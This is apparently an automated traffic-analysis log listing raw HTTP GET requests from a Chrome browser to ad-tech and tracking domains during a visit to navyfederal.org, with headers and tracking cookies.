Source: global traffic	HTTP traffic detected: GET /empty.gif HTTP/1.1Host: um.simpli.fiConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=bluekai HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsImo2Z5qqT_jwQBRgFIAQoATILCLTvjMHAk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABcgdibHVla2Fp
Source: global traffic	HTTP traffic detected: GET /profiles_user/ProfilesuserServlet?at=20&dpi=2124307461&pcid=4F23F6C2C1D4438DAA81302CEEAB3C45&ckls=true&ci=pSxpM8lU6E&nc=false&trid=-441508172 HTTP/1.1Host: sync1.intentiq.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IQver=1.9; intentIQ=pSxpM8lU6E; CSDT=UEQ6MTAwNDNfMCZVRGpidnp6; IQMID=137264047#1716590770543; intentIQCDate=1716590770537; IQPData=137264047#1716590770532#0#1716590770532; ASDT=0
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=bluekai HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsImo2Z5qqT_jwQBRgFOAFCBCICCAE.
Source: global traffic	HTTP traffic detected: GET /sync?pid=141&uid=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: sync.bfmio.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cms?partner_id=DATCS HTTP/1.1Host: cms.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /map/c=7625/tp=SIMP/tpid=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: bcp.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /liveramp_match HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=bluekai HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsImo2Z5qqT_jwQBRgFOAFCBCICCAE.
Source: global traffic	HTTP traffic detected: GET /merge?pid=2&3pid=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: ce.lijit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /spotx_match HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /ups/58726/cms?partner_id=DATCS HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /map/ct=y/c=7625/tp=SIMP/tpid=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: bcp.crwdcntrl.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cc_cc=ctst
Source: global traffic	HTTP traffic detected: GET /an HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /rb_match HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /ox_match HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
Source: global traffic	HTTP traffic detected: GET /419566.gif?partner_uid=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: idsync.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?entity=66&code=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; anj=dTM7k!M4/8CxrEQF']wIg2E?d?=+XZ!@wnf-Te9(>wL5L!!'h%$u))L; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; uuid2=6116765264039870456
Source: global traffic	HTTP traffic detected: GET /ups/58726/cms?partner_id=DATCS&verify=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBLUYUWYCEOpyE36cfhNXYQhYWKm__8wFEgEBAQFqUmZaZtwr0iMA_eMAAA&S=AQAAAiSpsJNfzseXuBNK5dXiVes
Source: global traffic	HTTP traffic detected: GET /merge?pid=2&3pid=4F23F6C2C1D4438DAA81302CEEAB3C45&dnr=1 HTTP/1.1Host: ce.lijit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ljt_reader=Itj2AQZHhmzcC7uXTQ2fVYvm
Source: global traffic	HTTP traffic detected: GET /1000.gif?memo=CO7NGRIrCicIARDuJBogNEYyM0Y2QzJDMUQ0NDM4REFBODEzMDJDRUVBQjNDNDUQABoNCLaxxLIGEgUI6AcQAEIASgA HTTP/1.1Host: idsync.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: rlas3=5wi4eL9+OSz5ybtfXqA+XkcsobKmEo56KFHYSciN12U=; pxrc=CAA=
Source: global traffic	HTTP traffic detected: GET /user?du=81&mimetype=img&csync=y-K6SCbq1E2pRP2h92iqx4jDlEC_oUpk6AQWo-~A HTTP/1.1Host: pbid.pro-market.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: anProfile="-z1ht4icc1y44+1+1f=1+1g=1+1j=57:1+rs=s+rt=082E7BAF+s2=(se0hwx)+vm=24-4F23F6C2C1D4438DAA81302CEEAB3C45"; anHistory="-z1ht4icc1y44+2+!#7')#]!>Ti"
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072966&val=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/sync?pid=5324&it=1&iv=3682b56b37c245b13599d8d34669a122c7a4852aacd135d8817fd370ab38c43c791426b5417dce21&_=2 HTTP/1.1Host: pippio.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?cc=1&id=537072966&val=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://9749892.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=07378af9-3c0a-4f02-9a30-ee1d85f0ce79\|1716590776
Source: global traffic	HTTP traffic detected: GET /uwt.js HTTP/1.1Host: static.ads-twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "bbbcf811d8437a575d796a4c1e5d4fad"If-Modified-Since: Thu, 04 Apr 2024 00:26:35 GMT
Source: global traffic	HTTP traffic detected: GET /sync?c=16b6410431b6374e780104abb0443ca8&p=ac2d76520490ec74c91b16b6cd806c4a&k=navy-federal-credit-union-pixel-4762&zmpID=navy-federal-credit-union&cache_buster={cache_buster} HTTP/1.1Host: live.rezync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zync-uuid=357c28c3-9efd-4e35-8e20-288ff8da4a1a:1716590758.313698; sd-session-id=eyJfcGVybWFuZW50Ijp0cnVlLCJzZXNzaW9uX2lkIjoiMzU3YzI4YzMtOWVmZC00ZTM1LThlMjAtMjg4ZmY4ZGE0YTFhOjE3MTY1OTA3NTguMzEzNjk4In0.ZlEYqw.oOFQfCI83FLyB0g-FpIlSekH2uM
Source: global traffic	HTTP traffic detected: GET /td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
Source: global traffic	HTTP traffic detected: GET /activityi;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1Host: 9749892.fls.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg; _dpm_ses.4d04=*; _dpm_id.4d04=62ee9019-96e3-4db4-9307-4201e701ba8f.1716590761.1.1716590761.1716590761.30350b8a-ca27-426c-b033-4c9e26c0870b
Source: global traffic	HTTP traffic detected: GET /td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
